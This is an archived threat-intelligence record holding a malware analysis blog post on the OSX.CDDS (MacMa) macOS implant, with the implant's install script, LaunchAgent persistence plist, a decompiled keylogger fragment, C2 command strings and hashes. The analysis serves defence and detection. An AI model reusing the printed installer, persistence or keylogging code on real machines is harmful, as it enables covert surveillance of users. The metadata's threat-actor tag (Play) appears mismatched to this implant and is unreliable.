{ "id": "b68bd71e-79dd-46b8-a358-eed8c17e715b", "created_at": "2026-04-06T00:21:05.1805Z", "updated_at": "2026-04-10T03:30:33.435216Z", "deleted_at": null, "sha1_hash": "439c9887770c599a6122a1999208709fd15134da", "title": "OSX.CDDS (OSX.MacMa)", "llm_title": "", "authors": "", "file_creation_date": "0001-01-01T00:00:00Z", "file_modification_date": "0001-01-01T00:00:00Z", "file_size": 2799034, "plain_text": "OSX.CDDS (OSX.MacMa)\r\nArchived: 2026-04-05 20:03:56 UTC\r\nOSX.CDDS (OSX.MacMa)\r\na sophisticated watering hole campaign drops a new macOS implant!\r\nby: Patrick Wardle / November 11, 2021\r\nObjective-See's research, tools, and writing, are supported by the \"Friends of Objective-See\" such as:\r\n📝 👾 Want to play along?\r\nI’ve uploaded an OSX.CDDS sample (password: infect3d).\r\n...please don’t infect yourself!\r\n🙋🏻‍♂️ Updates:\r\nAnti-Virus engines are now detecting this threat.\r\nAs Google referred to the attack as \"MacMa\", some refer to this malware as OSX.MacMa.\r\nTrend Micro Researchers such as @phretor and @evanslify noted that (contrary to initial reporting), the\r\nmalware does not in fact leverage Data Distribution Service (DDS).\r\nSee also \"Google Caught Hackers Using a Mac Zero-Day Against Hong Kong Users\".\r\nBackground\r\nToday, Google’s Threat Analysis Group (TAG), published an intriguing report titled, “Analyzing a watering hole\r\ncampaign using macOS exploits.”\r\nIn this report, they detailed a highly targeted attack that leveraged both iOS and macOS exploits in order to\r\nremotely infect Apple users. As they were not able to recover the full iOS exploit chain, the write-up focused\r\nalmost fully on the macOS version of the attack which leveraged:\r\nA webkit “n-day” RCE (patched as CVE-2021-1789 in January)\r\nAn XNU 0-day local privilege escalation (now patched as CVE-2021-30869).\r\nAccording to Google this exploit was, “was presented by Pangu Lab in a public talk at zer0con21 in April\r\n2021 and Mobile Security Conference (MOSEC) in July 2021”\r\nhttps://objective-see.com/blog/blog_0x69.html\r\nPage 1 of 11\n\nWhile Google’s blog provided a thorough overview of the macOS exploit chain, it did not dig too much into the\r\npersistent macOS implant that would be installed upon successfully exploited systems. However they did note:\r\n“Notable features for this backdoor include:\r\nvictim device fingerprinting\r\nscreen capture\r\nfile download/upload\r\nexecuting terminal commands\r\naudio recording\r\nkeylogging”\r\nMoreover, they were kind enough to provided hashes of the implant 🤗 And, as these has also been uploaded to\r\nVirusTotal, we can grab them for analysis.\r\nIn this blog post, we’ll briefly analyze this implant, OSX.CDDS …an implant that currently remains undetected by\r\nall of the anti-virus engines on VirusTotal.\r\nTriage\r\nGoogle’s report provided two hashes for OSX.CDDS that would be remotely installed on exploited systems:\r\ncf5edcff4053e29cb236d3ed1fe06ca93ae6f64f26e25117d68ee130b9bc60c8\r\ncf5e... on VirusTotal\r\nf0b12413c9d291e3b9edd1ed1496af7712184a63c066e1d5b2bb528376d66ebc\r\nf0b1... on VirusTotal\r\nhttps://objective-see.com/blog/blog_0x69.html\r\nPage 2 of 11\n\nThe first item, cf5e... , they noted was the 2021 version of the implant, while the second item, f0b1... , was\r\nfrom 2019. Note that both are currently undetected on VirusTotal.\r\nThe 2019 sample, is a disk image named install_flash_player_osx.dmg . If we mount it, we find application\r\nnamed SafariFlashActivity :\r\nContents of install_flash_player_osx.dmg\r\nIf we examine its code-signing information, we see its been signed adhoc:\r\n% codesign -dvv /Volumes/SafariFlashActivity/SafariFlashActivity.app\r\nExecutable=/Volumes/SafariFlashActivity/\r\n SafariFlashActivity.app/Contents/MacOS/SafariFlashActivity\r\nIdentifier=xxxxxx.preexcl-project\r\nFormat=app bundle with Mach-O thin (x86_64)\r\nCodeDirectory v=20100 size=615 flags=0x2(adhoc) hashes=14+3 location=embedded\r\nSignature=adhoc\r\nInfo.plist=not bound\r\nTeamIdentifier=not set\r\nSealed Resources=none\r\nInternal requirements count=0 size=12\r\nTaking a peek at it’s Info.plist files reveals key-value pairs such as:\r\nLSMinimumSystemVersion : 10.7\r\nCFBundleExecutable : SafariFlashActivity\r\nCFBundleIdentifier : xxxxx.SafariFlashActivity\r\nhttps://objective-see.com/blog/blog_0x69.html\r\nPage 3 of 11\n\nNSHumanReadableCopyright : Copyright © 2018年 xxxxx. All rights reserved.\r\n(Note the Chinese character 年 translate to “year”).\r\nAs Google’s report noted that this was an older (2019) sample of the implant, we won’t dig into it too much more,\r\ninstead we’ll focus on the 2021 sample.\r\nStill let’s note a few facts about the older sample. First, it contains various executable components in it\r\n/Resources section:\r\nAdditional executable components\r\nThe last item, /Resources/SafariFlashActivityinstall is a simple bash script:\r\n% cat Resources/SafariFlashActivityinstall\r\n#!/bin/bash\r\nuser=$(whoami)\r\ndname=`dirname \"$0\"`\r\ncd \"$dname\"\r\n./client \"$user\"\r\nhome_dir=\"$(echo ~)\"\r\nlaunch_dir=\"$home_dir/Library/LaunchAgents\"\r\nlaunchctl unload \"$launch_dir/com.UserAgent.va.plist\"\r\nlaunchctl load \"$launch_dir/com.UserAgent.va.plist\"\r\nIts main goal is to execute the client binary (with the name of the currently logged in user), and the unload,\r\nthen load a launch agent named com.UserAgent.va.plist .\r\nWe can observe the invocation of the SafariFlashActivityinstall script via a process monitor:\r\nhttps://objective-see.com/blog/blog_0x69.html\r\nPage 4 of 11\n\n# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty\r\n...\r\n{\r\n \"event\" : \"ES_EVENT_TYPE_NOTIFY_EXEC\",\r\n \"process\" : {\r\n \"name\" : \"bash\",\r\n \"path\" : \"/bin/bash\",\r\n \"arguments\" : [\r\n \"sh\",\r\n \"-c\",\r\n \"\\\"/Volumes/SafariFlashActivity/SafariFlashActivity.app\r\n /Contents/Resources/SafariFlashActivityinstall\\\"\"\r\n ]\r\n }\r\n}\r\n…as well as the launch of the client binary:\r\n# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty\r\n...\r\n{\r\n \"event\" : \"ES_EVENT_TYPE_NOTIFY_EXEC\",\r\n \"process\" : {\r\n \"name\" : \"client\",\r\n \"path\" : \"/Volumes/SafariFlashActivity/SafariFlashActivity.app\r\n /Contents/Resources/client\",\r\n \"arguments\" : [\r\n \"./client\",\r\n \"user\"\r\n ]\r\n }\r\n}\r\nThe malware also creates a directory named Tools in the ~/Library/Preferences/ directory, and saves several\r\n(embedded) custom tools into this directory, including:\r\narch (SHA-1 c4511ad16564eabb2c179d2e36f3f1e59a3f1346 )\r\nThis binary invokes a function, aptly named captureScreen , to perform a screen capture, via Apple’s\r\nCore Graphic APIs (e.g. CGWindowListCreateImageFromArray ). It appears to then save it out to user-specified file.\r\nat (SHA-1 77a86a6b26a6d0f15f0cb40df62c88249ba80773 )\r\nThis binary performs a simple survey, then writes it out to stdout . For example, when run in a virtual\r\nmachine, it produces the following:\r\nhttps://objective-see.com/blog/blog_0x69.html\r\nPage 5 of 11\n\n% ./at\nuuid=564D028C-69EF-7793-5BD9-8CC893CB8C8D\nuserName=user\nversion=Version 10.15.6 (Build 19G2021)\nequipmentType=VMware7,1\nmac=00:0c:29:cb:8c:8d\nip=\ndiskFreeSpace=11251048448/42605699072\navailableMemory=2098040832/2147483648\ncpu_info=Intel(R) Core(TM) i7-8559U CPU @ 2.70GHz\nBack to the client binary, it then installs a persistent implant as a Launch Agent:\n 1?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n 2\n 3 4 5 Label 6 com.UserAgent.va 7 LimitLoadToSessionType 8 Aqua 9 ProgramArguments 10 11 /Users/user/Library/Preferences/UserAgent/lib/UserAgent 12 -runMode 13 ifneeded 14 15 RunAtLoad 16 17 StartInterval 18 600 19 ThrottleInterval 20 2 21 WorkingDirectory 22 /Users/user/Library/Preferences/UserAgent/lib 23 24 As the RunAtLoad key is set to true the specified binary,\n/Users/user/Library/Preferences/UserAgent/lib/UserAgent will be persistently executed by macOS each time\nthe user logs in.\nThe UserAgent binary was originally submitted to VirusTotal on `2019-12-01`.\nhttps://objective-see.com/blog/blog_0x69.html\nPage 6 of 11\n\n…and if we analyze the submission meta-data, we can see it was originally submitted to VirusTotal by a user, via\r\none of my Objective-See tools (which integrate with VirusTotal)! How freaking cool!? 🤩\r\nFinally, let’s note that if (when) the SafariFlashActivity application is executed, it will simply display an error\r\nto the user:\r\n...upon install\r\n.\r\nThis is notable for two reasons:\r\n1. Based on the use of the Chinese language, this shows the malware is geared towards Chinese users.\r\n2. Along with the fact that the malware is packaged up in an easily runnable application (masquerading as\r\nFlash), this indicates that this version of the malware is designed to be deployed via socially engineering\r\nmethods. This is different from the 2021 version mentioned by Google that was deployed via (remote)\r\nexploitation.\r\nThis really isn’t too surprising. Sophisticated APT groups often split out their implants from their exploits.\r\nBesides allowing multiple people (or even teams) to focus on areas of expertise (e.g. writing remote\r\nmacOS exploits), this also allows the two to be decoupled …meaning, the implant can be deployed in a\r\nvariety of ways (social engineering, exploitation, etc. etc.).\r\n2021\r\nNow on to the 2021 version, ( cf5e... ). This binary seems to directly comparable the client (recall that was\r\nfound in the /Resources of the application, and launched via the SafariFlashActivityinstall bash script\r\nwhen the application was launched).\r\nIn Google’s report, they note that this binary ( cf5e... ) was downloaded and executed up successful\r\nexploitation. For purposes of analysis we can simply run it directly from the Terminal.\r\nDuring this results in actions similar to those performed by the (older) client binary including:\r\nhttps://objective-see.com/blog/blog_0x69.html\r\nPage 7 of 11\n\nThe creation of a directory named Tools in the ~/Library/Preferences/ directory, into which it drops\r\nseveral custom tools (named arch , at , etc.).\r\nThe persistence of Launch Agent (or likely daemon is running as root) via the com.UserAgent.va.plist .\r\nAs the RunAtLoad key is set to true the specified binary,\r\n/Users/user/Library/Preferences/UserAgent/lib/UserAgent will be persistently executed by macOS\r\neach time the user logs in.\r\nOf note this, version of the malware drops a new tool named kAgent ( SHA-1 :\r\nD811E97461741E93813EECD8E5349772B1C0B001 ) into the ~/Library/Preferences/Tools directory.\r\nA quick triage of this binary reveals it’s a simple keylogger that leverages Core Graphics Event Taps to intercept\r\nuser keystrokes:\r\n 1int sub_1000028f0(int arg0) {\r\n 2\r\n 3 runLoop = CFRunLoopGetCurrent();\r\n 4 runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, *g_eventTap, 0x0);\r\n 5\r\n 6 CFRunLoopAddSource(*runLoop, runLoopSource, kCFRunLoopCommonModes);\r\n 7 CGEventTapEnable(*g_eventTap, 0x1);\r\n 8\r\n 9 CFRunLoopRun();\r\n10\r\n11 return 0x0;\r\n12}\r\nIn Google’s report they noted that, “It uses a publish- subscribe model via a Data Distribution Service (DDS)\r\nframework for communicating with the C2”\r\nAs the malware is compiled with a myriad or error and logging message, we can confirm this, but also see exactly\r\nwhat capabilities it supports.\r\nSpecifically we can extract strings in the format \u003cnumber\u003eCDDS , as these appear to show the requests the implant\r\nsupports:\r\n“24CDDSScreenCaptureRequest”\r\n“28CDDSAutoScreenCaptureRequest”\r\n“21CDDSScreenCaptureInfo”\r\n“33CDDSScreenCaptureParameterRequest”\r\n“19CDDSFileInfoRequest”\r\n“12CDDSFileInfo”\r\n“18CDDSDirInfoRequest”\r\n“11CDDSDirInfo”\r\n“17CDDSZipDirRequest”\r\nhttps://objective-see.com/blog/blog_0x69.html\r\nPage 8 of 11\n\n“21CDDSZipDirRequestInfo”\r\n“22CDDSExecuteFileRequest”\r\n“19CDDSTerminalConnect”\r\n“22CDDSTerminalDisConnect”\r\n“17CDDSTerminalInput”\r\n“18CDDSTerminalOutput”\r\n“20CDDSUninstallRequest”\r\n“20CDDSClearDataRequest”\r\n“10CDDSCmdAck”\r\n“18CDDSReqMacBaseInfo”\r\n“15CDDSMacBaseInfo”\r\n“18CDDSReqMacFileList”\r\n“15CDDSMacFileList”\r\n“20CDDSMacFileListReply”\r\n“20CDDSReqMacSearchFile”\r\n“17CDDSMacSearchFile”\r\n“22CDDSMacSearchFileReply”\r\n“21CDDSStopMacSearchFile”\r\n“20CDDSReqMacDeleteFile”\r\n“20CDDSReqMacFileSystem”\r\n“17CDDSBaseInfoReply”\r\n“14CDDSReqMacTree”\r\n“13CDDSDriveInfo”\r\n…based off these tasking strings, it’s clear to see the implant supports a myriad of features!\r\nThis is also why this malware is named OSX.CDDS!\r\nOSX.CDDS .vs Objective-See\r\nWhenever a new piece of malware is uncovered I like to see how Objective-See’s free open-source tools stack up.\r\nGood news (and no really no surprise) they are able to detect and thus thwart this new threat, even with no a priori\r\nknowledge of it! 😍\r\nLet’s look at how!\r\nFirst, BlockBlock detects OSX.CDDS’ attempt at persistence …specifically when it executes cp to create a\r\nlaunch item:\r\nhttps://objective-see.com/blog/blog_0x69.html\r\nPage 9 of 11\n\nBlockBlock alert\r\nLuLu, our free, open-source firewall detects when the implant first attempts to beacon out to its command and\r\ncontrol server to check-in and ask for tasking:\r\nLuLu alert\r\nAnd if you’re worried that you are already infected? KnockKnock can uncover the malware’s persistence (after\r\nthe fact):\r\nhttps://objective-see.com/blog/blog_0x69.html\r\nPage 10 of 11\n\nKnockKnock detection\r\nConclusions\r\nIt’s not everyday we come across a brand new fully-featured macOS implant to analyze. 🤗\r\nToday, we triaged OSX.CDDS, an implant (whose latest version) Google detected being remotely deployed via n-day and 0-day exploits.\r\n💕 Support Me:\r\nLove these blog posts? You can support them via my Patreon page!\r\nSource: https://objective-see.com/blog/blog_0x69.html\r\nhttps://objective-see.com/blog/blog_0x69.html\r\nPage 11 of 11", "extraction_quality": 1, "language": "EN", "sources": [ "Malpedia" ], "references": [ "https://objective-see.com/blog/blog_0x69.html" ], "report_names": [ "blog_0x69.html" ], "threat_actors": [ { "id": "75108fc1-7f6a-450e-b024-10284f3f62bb", "created_at": "2024-11-01T02:00:52.756877Z", "updated_at": "2026-04-10T02:00:05.273746Z", "deleted_at": null, "main_name": "Play", "aliases": null, "source_name": "MITRE:Play", "tools": [ "Nltest", "AdFind", "PsExec", "Wevtutil", "Cobalt Strike", "Playcrypt", "Mimikatz" ], "source_id": "MITRE", "reports": null } ], "ts_created_at": 1775434865, "ts_updated_at": 1775791833, "ts_creation_date": 0, "ts_modification_date": 0, "files": { "pdf": "https://archive.orkl.eu/439c9887770c599a6122a1999208709fd15134da.pdf", "text": "https://archive.orkl.eu/439c9887770c599a6122a1999208709fd15134da.txt", "img": "https://archive.orkl.eu/439c9887770c599a6122a1999208709fd15134da.jpg" } }